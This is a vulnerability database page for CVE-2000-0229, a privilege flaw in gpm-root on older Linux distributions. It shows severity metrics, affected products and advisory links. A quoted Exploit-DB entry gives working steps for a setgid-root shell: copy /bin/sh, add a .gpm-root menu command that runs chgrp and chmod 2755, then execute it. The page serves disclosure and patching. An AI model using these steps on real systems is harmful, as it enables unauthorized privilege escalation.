CVE-2000-0229 : Detail

CVE-2000-0229

0.04%V3
Local
2000-06-02
02h00 +00:00
2004-09-02
07h00 +00:00
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CVE Descriptions

gpm-root in the gpm package does not properly drop privileges, which allows local users to gain privileges by starting a utility from gpm-root.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

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Exploit information

Exploit Database EDB-ID : 19816

Publication date : 2000-03-21 23h00 +00:00
Author : Egmont Koblinger
EDB Verified : Yes

source: https://www.securityfocus.com/bid/1069/info A vulnerability exists in the gpm-root program, part of the gpm package. This package is used to enable mice on the consoles of many popular Linux distributions. The problem is a design error, caused when a programmer chose to attempt to revert to the running users groups, after having called setuid to the users id already. The setgid call fails, and the process maintains the groups the gpm-root program is running as. This is usually the 'root' group. This vulnerability requires the user have console access. cp /bin/sh /tmp create a .gpm-root file in ~ with the following: button 1 { name "create a setgid shell" "setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh" } click control-left mouse button, and click "setgid shell" execute /tmp/sh

Products Mentioned

Configuraton 0

Alessandro_rubini>>Gpm >> Version 1.18.1

    Alessandro_rubini>>Gpm >> Version 1.19

      Debian>>Debian_linux >> Version 2.0

      Debian>>Debian_linux >> Version 2.1

      Debian>>Debian_linux >> Version 2.2

      Debian>>Debian_linux >> Version 2.2

        Redhat>>Linux >> Version 6.0

          Redhat>>Linux >> Version 6.1

            Redhat>>Linux >> Version 6.2

              Suse>>Suse_linux >> Version 5.3

              Suse>>Suse_linux >> Version 6.0

              Suse>>Suse_linux >> Version 6.1

              Suse>>Suse_linux >> Version 6.2

              Suse>>Suse_linux >> Version 6.3

              References

              http://www.redhat.com/support/errata/RHSA-2000-045.html
              Tags : vendor-advisory, x_refsource_REDHAT
              http://www.securityfocus.com/bid/1069
              Tags : vdb-entry, x_refsource_BID
              http://www.redhat.com/support/errata/RHSA-2000-009.html
              Tags : vendor-advisory, x_refsource_REDHAT